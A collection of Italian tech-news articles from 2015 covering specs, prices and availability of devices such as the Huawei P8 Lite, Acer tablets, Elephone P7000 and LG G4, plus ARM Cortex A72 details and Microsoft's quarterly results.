Il prezzo di vendita del nuovo Huawei P8 Lite rappresenterà uno dei punti di forza di un device che punta a conquistare il mercato grazie ad un eccellente rapporto qualità/prezzo. Il dispositivo monta infatti un display da 5 pollici con risoluzione HD affiancato da un SoC Kirin 620 con CPU Octa-Core con clock di 1.2 GHz. La memoria RAM è pari a 2 GB mentre lo storage interno, espandibile tramite microSD, è pari a 16 GB. Il nuovo Huawei P8 Lite monta una fotocamera posteriore da 13 Megapixel ed una anteriore da 5 Megapixel. Il sistema operativo è Android 5.0.1 Lollipop personalizzato dall’interfaccia utente Emotion UI 3.1. Il device si caratterizza per dimensioni pari a 143 x 70.6 x 7.6 mm con un peso complessivo pari ad appena 131 grammi. Naturalmente è presente il supporto alle reti LTE.
Il nuovo Huawei P8 Lite dovrebbe, come detto, debuttare anche in Italia a maggio con il prezzo di listino di 249 Euro. Il nuovo smartphone mid-range di Huawei dovrebbe essere disponibile nel listino di tutti i principali operatori di telefonia mobile del nostro paese. Maggiori dettagli sul debutto del nuovo smartphone di casa Huawei emergeranno, senza alcun dubbio, nel corso dei prossimi giorni. Per ora non ci resta, quindi, che attendere l’uscita di questo interessantissimo smartphone con cui la casa costruttrice cinese mira ad espandere, ulteriormente, la sua presenza nel mercato europeo ed, in particolare, nella fascia media.
Nexus 7 2013: arrivato il definitivo blocco delle vendite
Nexus 7 2013 il tablet di Google da 7 pollici di diagonale, predecessore del Nexus 9, smette ufficialmente di essere commercializzato.
Se in Italia i segnali erano arrivati ancora prima dell’annuncio ufficiale, sembra che adesso la questione sia definitivamente conclusa; oggi sullo store ufficiale Google negli USA il Nexus 7 2013 ha terminato il suo periodo di commercializzazione e non sarà più venduto.
Da noi le scorte erano già finite da tempo ma negli Stati Uniti il Nexus 7 2013 era ancora disponibile all’acquisto anche se ad intermittenza, come se Google stesse raccogliendo proprio le ultime scorte di magazzino per vendere tutti i tablet rimasti; da oggi però sul sito commerciale del colosso americano è comparsa la scritta “Il Nexus 7 2013 non è più in vendita“.
Se pensiamo comunque che questo tablet è uscito sul mercato a luglio 2013 possiamo ben capire che la sua commercializzazione ufficiale è durata parecchio; ovviamente il prodotto non è scomparso definitivamente dal mercato dato che alcuni rivenditori terzi presenti online (disponibili anche in Italia) e magari qualche negozio fisico possono avere ancora a disposizione qualche Nexus 7 2013 da vendere; ovviamente i prezzi ormai non saranno più di mercato dato che il prodotto tecnologicamente ha fatto il suo tempo (non tanto il display che rimane ottimo ma il processore e la multimedialità).
Le versioni Android supportate da Nexus 7 2013
Nexus 7 2013 vi ricordo che è nato con Android Jelly Bean 4.3 ed è stato fino ad oggi aggiornato alla versione 5.1 (factory image), ma in futuro si spera che venga aggiornato anche alle versioni 5.1.x; il dubbio rimane sul fatto che molto difficilmente sarà aggiornato ancora per parecchi mesi data la sua anzianità.
Caratteristiche hardware del Nexus 7 2013
Il tablet nel 2013 si presentava come uno dei migliori dispositivi mobili in rapporto alla qualità e al prezzo, grazie al display IPS da 7 pollici con risoluzione Full HD 1920 x 1080 pixel, il processore quad core Krait Snapdragon S4 Pro funzionante alla frequenza di 1,5 Ghz abbinato alla GPU Adreno 320, 2GB di memoria ram, 16/32GB di memoria interna però non espandibile, fotocamera posteriore da 5 megapixel con autofocus capace di scattare foto alla risoluzione massima di 2592 x 1944 pixel e di registrare video in formato full hd, fotocamera anteriore da 1,2 megapixel per le video chiamate, wifi a/b/g/n dual band, bluetooth 4.0, chipset NFC, GPS, porta usb 2.0, eventuale connettività 4G (nel modello LTE), batteria interna da 3950 mAh, spessore di 8,7 mm e un peso complessivo di 290-299 grammi (a seconda del modello solo Wifi o LTE).
Acer ha svelato una serie di nuovi prodotti tra i quali spuntano due nuovi tablet android: uno da 8 pollici l’Acer Iconia One 8 e uno da 10 pollici l’Iconia Tab 10: scopriamo prezzi e caratteristiche.
Acer Iconia One 8
Acer Iconia One 8: prezzo e caratteristiche
Acer Iconia One 8 (nome in codice aziendale BI-820) è un tablet android di fascia economica per tutti coloro che non vogliono spendere più di tanto e si accontentano di un hardware tutto sommato discreto/buono.
Il prodotto si presenta infatti con un display IPS da 8 pollici di diagonale e una classica risoluzione HD 1280 x 720 pixel che utilizza la nuova tecnologia Zero Air Gap sviluppata dalla stessa Acer che permette di rendere il display touchscreen più sensibile e preciso al tocco.
Il processore fa parte della gamma Atom di Intel dato che troviamo un chipset Z3735G quad core funzionante alla frequenza massima di 1,83 Ghz, che offre buone prestazioni generali e permette per esempio la riproduzione di video in full hd (h264) in tranquillità; peccato che il codecs di nuova generazione H265 non sia supportato nativamente dalla piattaforma.
Al processore quad core Intel Atom viene affiancato giusto 1GB di memoria ram, mentre sono 16 o 32 i GB di memoria interna, comunque espandibili grazie alla presenza dello slot per microSD.
A livello di multimedialità Acer Iconia One 8 offre una fotocamera posteriore da 5 megapixel, mentre la fotocamera anteriore è una semplice VGA da 0,3 megapixel, adatta quindi unicamente per le video chiamate semplici e nulla di più.
A livello di connettività previsto solo il modello con connessione WIFI 802.11 b/g/n, affiancato dal bluetooth 4.0 e dalla porta usb 2.0; il tablet quindi non ha il GPS, una grave assenza per chi utilizza i navigatori satellitari con mappe installate offline.
Le dimensioni del prodotto sono giusto da fascia media bassa, comprese in 213,9 mm di lunghezza, 127,7 mm di larghezza e 9,5 mm di spessore con un peso complessivo pari a 355 grammi.
Secondo il produttore la batteria dell’Iconia One 8 dovrebbe garantire al tablet un autonomia generale di circa 8 ore e mezzo con un uso normale-moderato o durante la riproduzione di video.
Acer Iconia Tab 10
Acer Iconia Tab 10: prezzo e caratteristiche
Il secondo tablet annunciato dall’azienda asiatica è un tablet di fascia più elevata con un display più grande; stiamo parlando dell’Acer Iconia Tab 10 nome in codice aziendale A3-A30.
Il device si presenta con un display IPS da 10,1 pollici di diagonale sempre con tecnologia Zero Air Gap ma con risoluzione più elevata, pari a 1920 x 1080 pixel Full HD, e protezione Gorilla Glass 4.
Il cuore del prodotto è il chipset Intel Atom Z3735F funzionate alla frequenza massima di 1,83 ghz abbinato a 2GB di memoria ram; la memoria interna a seconda della versione può variare dai 16GB ai 32, fino a raggiungere i 64GB; ovviamente anche in questo caso è previsto lo slot per le microSD fino a 64GB.
A livello di multimedialità Acer Icona Tab 10 A3-A30 si presenta pure lui con una fotocamera posteriore da 5 megapixel ma però la fotocamera anteriore viene migliorata dato che utilizza un sensore da 2 megapixel.
La connettività più o meno è la stessa del modello da Iconia One 8, con la presenza del Wifi b/g/n, il Bluetooth 4.0, non è stato ancora confermato il GPS, presente la porta usb 2.0 e si aggiunge il chipset NFC.
Le dimensioni anche in questo caso non sono particolarmente compatte dato che siamo di fronte ad un tablet lungo 260mm, largo 176 e spesso 9,7 mm con un peso complessivo di circa 540 grammi; non proprio sottile e leggero quindi.
Acer asserisce che la batteria interna del prodotto garantirebbe all’Iconia Tab 10 di poter rimanere acceso con un uso normale per circa 7 ore e mezzo senza interruzioni.
Versione Android
A livello software sia Acer Icona One 8 che Acer Icona Tab 10 utilizzano fin dal principio Android 5.0 Lollipop (non è specificata al versione precisa) ma non sappiamo se in futuro l’azienda asiatica procederà al suo aggiornamento dato la fascia media bassa di appartenenza.
Prezzi e disponibilità
Ma desso veniamo a conoscere i prezzi di listino di entrambi i prodotti: il tablet da 8 pollici di diagonale Acer Icona One 8 dovrebbe avere un costo d’acquisto al debutto di 179 euro e sarà disponibile già alla fine di Aprile in Europa.
Il tablet da 10 pollici Acer Iconia Tab 10 dovrebbe invece arrivare in Europa a partire da maggio 2015 ad un prezzo di listino di circa 299 euro; ovviamente i prezzi potrebbero variare al momento del loro lancio ufficiale per via di qualche promozione.
ElePhone P7000 smartphone android cinese abbordabile con scanner impronte digitali
Lo smartphone cinese Elephone P7000 è finalmente acquistabile (pre-ordine) a livello internazionale online: ecco il prezzo di vendita e le sue caratteristiche hardware.
Se siete un pò affascinati dagli smartphone sviluppati e prodotti direttamente in Cina perchè pensate che a livello tecnologico non sono niente male e alla fine costano decisamente di meno rispetto ai più famosi marchi internazionali, vi segnaliamo che a partire da oggi è possibile acquistare in pre-ordine a livello globale il nuovo Elephone P7000, uno smartphone android che possiede pure uno scanner per le impronte digitali è ha un prezzo di vendita decisamente interessante.
Elephone è un azienda cinese in crescita e sta diventando almeno a livello locale (in Cina) un interessante competitor di marchi già conosciuti anche a livello internazionale come Huawei, Xiaomi, Meizu e ZTE; ovviamente Elephone per poter catturare l’attenzione dei consumatori deve proporre qualcosa di tecnologicamente valido e a prezzi più bassi della concorrenza.
Ecco perché il nuovo Elephone P7000 sta destando interesse in patria e potrebbe farlo anche nei confronti dei consumatori mondiali; da oggi potete infatti acquistarlo in prevendita sul sito commerciale online GearBest al prezzo di 229,99 dollari e riceverlo a partire dal 21 maggio 2015, data in cui inizieranno le spedizioni; le spese di spedizione saranno gratuite a livello globale se utilizzate la consegna standard (circa 10-25 giorni a seconda del paese di arrivo) o altrimenti pagare 40 dollari per ricevere il prodotto entro una settimana dalla data d’acquisto.
Va comunque da tener conto che il prezzo di preordine pari a 229,99 dollari sembra che sia un offerta limitata, perché finito il periodo il prezzo ufficiale dovrebbe salire a ben 297,74 dollari: in poche parole se lo acquistate fin da subito risparmierete un bel po’ di soldi.
ElePhone P7000 per 229,99 dollari (poco più di 216 euro) che cosa vi offre? Sicuramente l’hardware è di tutto rispetto e il rapporto qualità prezzo sembra essere piuttosto elevato:
Display da 5,5 pollici di diagonale con risoluzione full hd 1920 x 1080 pixel e protezione Gorilla Glass 3;
Processore Octa-Core Mediatek MT6752 a 64bit funzionante alla frequenza massima di 1,7 Ghz abbinato alla GPU Mali T760;
3GB di memoria ram e 16GB di memoria interna espandibile con microSD;
Fotocamera posteriore da 13 megapixel con autofocus e flash led con sensore Sony IMX214 e apertura lenti F/2.0;
Fotocamera anteriore da 5 megapixel per video, selfie e video chiamate classiche;
Connettività LTE con supporto al Dual SIM (se inserite una microSD il telefono diventa un mono sim), GPS, bluetooth 4.0, porta usb 2.0, WiFi;
Batteria interna da 3450 mAh;
Scanner per le impronte digitali, scocca laterale rifinita in metallo e spessore di 8,9 mm;
Sistema operativo Android 5.0 Lollipop.
Cosa ne pensate, per poco più di 200 euro ne potrebbe valere l’acquisto? Fatecelo sapere postate le vostre opinioni in merito alle vostre esperienze anche passate con smartphone cinesi.
Cortex A72 nel 2016 per i nuovi chipset del futuro
ARM rilascia una serie di dettagli più approfonditi sul suo nuovo core Cortex A72 che diventerà a partire dal 2016 parte dei chipset top di gamma per Smartphone e Tablet.
ARM si prepara a fare un grosso salto di qualità nel 2016 con l’effettiva commercializzazione di nuovi chipset basati sulla architettura all’avanguardia Cortex A72 da affiancare alla GPU Mali T-880 di prossima generazione; la notizia dell’arrivo dei nuovi chipset è di qualche settimana fa ma oggi ARM ci ha fornito una serie di dettagli più precisi su cosa aspettarci dal punto di vista delle ottimizzazioni prestazionali ed energetiche dei Cortex A72.
ARM Cortex A72 sarà l’evoluzione naturale in tutti i sensi dell’attuale e performante architettura Cortex A57, che potete già trovare su smartphone top di gamma con chipset Octa-Core come ad esempio Samsung Galaxy S6, Xperia Z4, Htc One M9 e la lista potrebbe continuare.
I DETTAGLI DI CORTEX A72
La nuova architettura A72 migliorerà l’attuale e anche le precedenti (come la Cortex A15) in vari aspetti: va intanto detto che la prossima generazione pronta per il 2016 implementerà un set di istruzioni che aumenteranno le prestazioni dal 20 al 60 percento a parità di clock di funzionamento (che raggiungerà picchi massimi di 2,5Ghz), e si avranno riduzioni di consumo energetico (fattore decisamente importante per chi fa dell’autonomia senza perdite di prestazioni un valore assoluto per decidere l’acquisto o meno di un dispositivo mobile) fino a raggiungere picchi del 75% rispetto agli attuali ARM Cortex A15
ARM Cortex A72 sarà prodotto con processo produttivo a 16nm e la società americana ha già voluto paragonare il suo nuovo core con quello di Intel prodotto a 14nm (Core-M), evidenziando come abbia prestazioni in multitreading e nella gestione della memoria ram già più elevate.
Cortex A72 le prestazioni
Cortex A72 l’architettura
Cortex A72 i consumi
VIDEO ULTRA HD IN SLOW MOTION?
Le nuove soluzioni Cortex A72 saranno sicuramente utilizzate dai maggiori produttori mondiali di smartphone e tablet dedicati alla clientela più esigente nel 2016; state pur sicuri che Samsung, Mediatek e Qualcomm li sfrutteranno per sviluppare chipset all’avanguardia e fornire prestazioni di altissimo profilo; rumors in precedenza indicavano infatti che la prossima architettura Cortex A72 sarebbe pure capace di permettere la registrazione a 120 fps di video in formato Ultra HD 2160p, ovvero sarà possibile registrare video in slow motion a tale risoluzione.
Tra gli smartphone più diffusi di Samsung in attesa di una conferma sull’aggiornamento ad Android 5.0 Lollipop vi è il Samsung Galaxy S4 Mini, la versione compatta dell’ex top di gamma 2013 di Samsung, il Samsung Galaxy S4, che al momento è fermo ad Android 4.4.2 KitKat.
Stando a quanto dichiarato, in via ufficiale, dall’operatore di telefonia mobile 3 UK, in risposta ad alcune domande degli utenti su Twitter, il buon vecchio Samsung Galaxy S4 Mini non riceverà alcun aggiornamento ad Android 5.0 Lollipop ed alle sue versioni successive a causa di alcuni limiti imposti dalla memoria RAM del device. Si tratta, senza dubbio, di una motivazione decisamente curiosa visto e considerato che il device può contare su 1.5 GB di RAM, un quantitativo che sufficiente, per Samsung, per aggiornare altri smartphone della gamma Galaxy.
In ogni caso, l’assenza di conferme da parte di Samsung su di un possibile arrivo dell’update a Lollipop e le dichiarazioni di 3 UK lasciano ben poche speranze ai possessori di Samsung Galaxy S4 Mini di poter ricevere, in futuro, un nuovo aggiornamento del software installato sul proprio device. Ricordiamo, infatti, che il Samsung Galaxy S4 Mini è arrivato sul mercato, nel corso del terzo trimestre del 2013, con il sistema operativo Android 4.3 Jelly Bean per ricevere, diversi mesi dopo, l’aggiornamento a KitKat in versione 4.4.2.
Uno dei problemi legati al rilascio di Android 5.0 Lollipop per Samsung Galaxy S4 Mini potrebbe essere rappresentato dall’eccessiva pesantezza della Touch Wiz, l’interfaccia utente di Samsung, che richiederebbe un’ottimizzazione eccessiva da parte della casa coreana che probabilmente si sta concentrando su smartphone ben più recenti del Galaxy S4 Mini. In ogni caso, nel corso delle prossime settimane potrebbe arrivare una conferma ufficiale in merito a quanto affermato oggi da 3 UK. Per ora non ci resta che restare in attesa di nuove informazioni su di un possibile aggiornamento futuro del Samsung Galaxy S4 Mini, uno smartphone ancora oggi molto diffuso in tutta Europa.
Nella giornata di oggi, durante l’evento Next@Acer, ha fatto il suo debutto ufficiale il nuovo Acer Chromebook 15 CB3-351, un nuovo interessante laptop dotato del sistema operativo Chrome OS e che si caratterizzerà per un prezzo di vendita decisamente interessante.
Il nuovo Acer Chromebook 15 CB3-351, infatti, debutterà in Europa ad un prezzo di listino di 249 Euro che colloca il laptop nella fascia bassa del mercato. La scheda tecnica del nuovo Chromebook di Acer è piuttosto interessante anche se, di certo, non farà gridare al miracolo per rapporto qualità/prezzo.
Scorrendo le specifiche tecniche, notiamo come il nuovo Acer Chromebook 15 CB3-351 si caratterizzi per un display da 15.6 pollici con risoluzione di 1366 x 768 pixel. Lo schermo è un TFT LCD retroilluminato a LED che può contare sulla tecnologia ComfyView per minimizzare la luce riflessa in ambienti molto luminosi o aperti. A completare la dotazione tecnica troviamo il processore Intel Celeron N2830 Dual Core con scheda grafica integrata Intel HD, 2 GB di memoria RAM ed una memoria interna costituita da 16 GB di eMMC. La dotazione del nuovo Chromebook di Acer è sicuramente interessante e si arricchisce con il supporto al WiFi AC, una Webcam con High Dynamic Range, il Bluetooth 4.0, una porta USB 3.0 e USB 2.0, una porta HDMI ed un lettore di schede SD/SDXC che permette di ampliare lo storage sino a 128 GB. Il nuovo Acer Chromebook 15 CB3-351 debutterà sul mercato europeo nel corso del prossimo mese di giugno. Il prezzo di listino, lo ripetiamo, sarà pari a 249 Euro. Maggiori dettagli sulla commercializzazione in Italia arriveranno, senza alcun dubbio, nel corso delle prossime settimane. Per ora non ci resta, quindi, che attendere il debutto del nuovo Acer Chromebook 15 CB3-351.
Samsung Galaxy Note 4: il più popolare nel primo trimestre 2015
Secondo AnTuTu, il famoso Benchmark per dispositivi mobili, Samsung Galaxy Note 4 è stato lo smartphone/phablet più popolare nel primo trimestre 2015.
AnTuTu, il Benchmark prestazionale tra i più utilizzati per determinare le potenzialità hardware dei dispositivi mobili, ha pubblicato la propria classifica dei 10 smarpthone o phablet con sistema operativo Android più popolari del primo trimestre 2015, e a sorpresa è un prodotto top di gamma di Samsung.
Da gennaio a marzo 2015 infatti circa il 9,87% degli utenti che hanno utilizzato questo Benchmark possedevano un Samsung Galaxy Note 4, il phablet di quarta generazione dell’azienda coreana che a tutt’oggi è uno dei migliori prodotti acquistabili sui mercati internazionali.
Il Samsung Galaxy Note 4 ha quindi battuto la concorrenza di prodotti decisamente meno costosi ma comunque lo stesso famosi; appena sotto al Galaxy Note 4 in seconda posizione troviamo il Galaxy S5 che secondo AnTuTu ha rappresentato nei primi tre mesi del 2015 circa il 7,68 percento degli utilizzatori del suddetto Benchmark.
Al terzo posto troviamo uno smartphone cinese, ovvero lo Xiaomi Mi Note con una percentuale del 6,89%, a seguire al quarto posto c’è LG G3 con una percentuale del 6,53, al quinto posto un altro smartphone cinse lo Xiaomi Mi 4 con il 6,23%, poi a scendere troviamo in sesta posizione uno smartphone della serie Nexus, ovvero il Nexus 5 di Google con il 6,12%, al settimo posto il giapponese Sony Xperia Z3 con il 5,44%, più distanziato con il 4,33% all’ottavo posto OnePlus, al nono posto invece il Samsung Galaxy Note 3 (2,54%) e infine in ultima e decima posizione l’Asus Zenfone 5 che raggiunge 1,87% degli utilizzatori.
AnTuTu: top 10 smartphone android più popolari primi trimestre 2015
Va specificato che questa classifica è a livello mondiale e riguarda unicamente gli smartphone i tablet con sistema operativo Android; AnTuTu è infatti un Benchmark che può essere utilizzato anche su altri sistemi operativi mobili come Windows Phone e Apple iOS, ma in questo caso non sono stati inclusi nel confronto.
Se a livello mondiale il Samsung Galaxy Note 4 è stato il device Android più utilizzato in questo Benchmark AnTuTu nel primo trimestre del 2015, la classifica cambia se consideriamo i dati locali riguardanti le singole nazioni in vari continenti; per esempio in Cina il più utilizzato è stato lo Xiaomi MI Note, in Russia il Nexus 5, in India l’OnePlus, in Germania il Galaxy S5.
Per vedere tutti i grafici e le varie percentuali che variano a livello mondiale, o per alcuni singoli paesi potete leggere la notizia ufficiale visitando il sito di AnTuTu o seguendo questo link.
Alcuni report indicano che LG G4 avrà un prezzo di listino quasi in linea con i più recenti smartphone top di gamma Samsung: costerà di più di Galaxy S6 ma meno di S6 Edge.
L’annuncio ufficiale del nuovo smartphone android top di gamma LG G4 ormai è prossimo: se tutto andrà come previsto infatti in data 28 aprile 2015, durante un evento presieduto dall’azienda coreana, sarà finalmente mostrato il dispositivo al grande pubblico.
Un report, notizia proveniente direttamente dalla Corea del Sud, suggerisce che l’azienda coreana abbia già stimato il prezzo di vendita del suo nuovo LG G4 almeno per il proprio mercato locale: il prezzo di vendita infatti dovrebbe essere una via di mezzo tra quello dell’attuale Samsung Galaxy S6 e della sua variante più costosa con display curvo ai bordi Galaxy S6 Edge.
In soldoni LG G4 può essere acquistato in prevendita tramite l’operatore telefonico SK Telecom a circa 825 dollari americani, quindi più elevato rispetto a quello del Galaxy S6 da 32GB che viene venduto dallo stesso operatore telefonico a 795 dollari.
Va specificato che il prezzo di 825 dollari per LG G4 potrebbe comunque variare e non rimanere fisso; da quello che è trapelato dalla Corea sembra che LG comunque manterrà in ogni caso un prezzo di listino oscillante tra quello del Galaxy S6 (795 dollari) e del Galaxy S6 Edge (910 dollari).
LG considera quindi il suo nuovo smartphone top di gamma come un vero prodotto premium che quindi può contrastare e competere direttamente con i nuovi device di Samsung; la presenza infatti di una cover in pelle naturale, un anno di garanzia gratuita per la protezione del display, un design leggermente curvo e un hardware rinnovato saranno i suoi punti forti.
LG G4 svelato il presunto prezzo di listino
LG G4 cover in pelle
LG G4 invito evento 28 aprile
Vi ricordiamo infatti che LG G4 dovrebbe arrivare sul mercato con un display da 5,5 pollici di diagonale, tecnologia “Quantum” e risoluzione QHD 2560 x 1440 pixel, un processore hexa-core Snapdragon 808 funzionante alla frequenza massima di 1,8 Ghz, GPU Adreno 418, 3GB di memoria ram, 32GB di memoria interna, fotocamera posteriore da 16 megapixel con apertura lenti F/1.8 capace di catturare molta luce anche in condizioni di scarsa luminosità, autofocus laser, stabilizzatore ottico dell’immagine e doppio flash led (dual tone).
Basteranno tutte queste caratteristiche e un design premium a contrastare i più recenti smartphone android (e non) top di gamma del mercato? Voi che ne pensate?
Microsoft oggi ha rilasciato i dati dei ricavi ed i guadagni totali fatturati nel primo trimestre del 2015. Dopo i primi tre mesi del nuovo anno, in cui Microsoft si prepara a presentare uno dei sistemi operativi più rivoluzionari che abbia mai creato, sembra che le cifre dell’azienda siano positive, e premino il coraggio che Microsoft ha avuto negli ultimi anni nel voler cambiare volto all’azienda in maniera radicale e moderna.
Riuscire a ribaltare una situazione in cui appena qualche anno fa molti analisti del settore davano l’azienda quasi sull’orlo di una possibile crisi senza ritorno, è stata un’avventura che Microsoft sembra aver vinto pienamente, specialmente grazie ad alcuni prodotti e servizi di nuova concezione.
I numeri del primo trimestre
Se molti di voi hanno ancora dubbi sul fatto che Microsoft sia in netta crescita, dopo aver visionato queste cifre crediamo che si possano convincere del tutto. Senza dover guardare i dettagli dei vari settori, possiamo dire che l’azienda ha fatturato totalmente in questi primi tre mesi del 2015 ben 21,7 miliardi di dollari, cifra che supera di più di un miliardo quella dello stesso periodo dell’anno prima che toccava quota 20,4 miliardi di dollari.
Oltre alle “logiche” cifre da capogiro, guardando questi dati più nel dettaglio, possiamo notare come i guadagni siano spinti specialmente da alcuni settori in particolare.
Il settore mobile e la vendita dei dispositivi Lumia e Surface in questi primi tre mesi, hanno contribuito di molto a far salire l’asticella delle vendite, arrivando a fatturare un totale di vendite di circa 2,1 miliardi di dollari. La pubblicità sul motore di ricerca Bing (proprietà di Microsoft) è in crescita nel mercato USA del 20%, ed assieme al servizio XBox Live, utilizzato del 30% in più rispetto all’anno precedente globalmente, fa sperare in un futuro certamente più roseo per l’azienda, grazie alla fidelizzazione degli utenti che utilizzano tali servizi.
Naturalmente per alcuni dati positivi ci sono anche alcuni negativi che forse sono da considerare per effettuare un’analisi approfondita di questi numeri. Ad esempio la vendita del sistema operativo di casa Microsoft non è andata come si sperava, un calo del 19% per le versioni PRO e del 26% per le versioni non PRO, sono certamente un dato che l’azienda dovrà tenere in considerazione, pur tenendo conto di tutte le variabili del caso (come il mercato dei PC in calo).
Microsoft comunque sembra essere in forma, e si presenta come un’azienda virtuosa dove investire può essere una buona mossa. Questa estate la presentazione di Windows 10, e i nuovi prodotti e servizi che l’azienda sta continuando ad aggiornare, fanno certamente ben sperare per un futuro roseo dove l’engadgement sarà sempre più alto, e si tramuterà in maniera naturale in vendite e guadagni. Siamo sicuri che Microsoft questo lo sa bene, e sarà pronta per un mercato voglioso di servizi all’avanguardia e prodotti innovativi.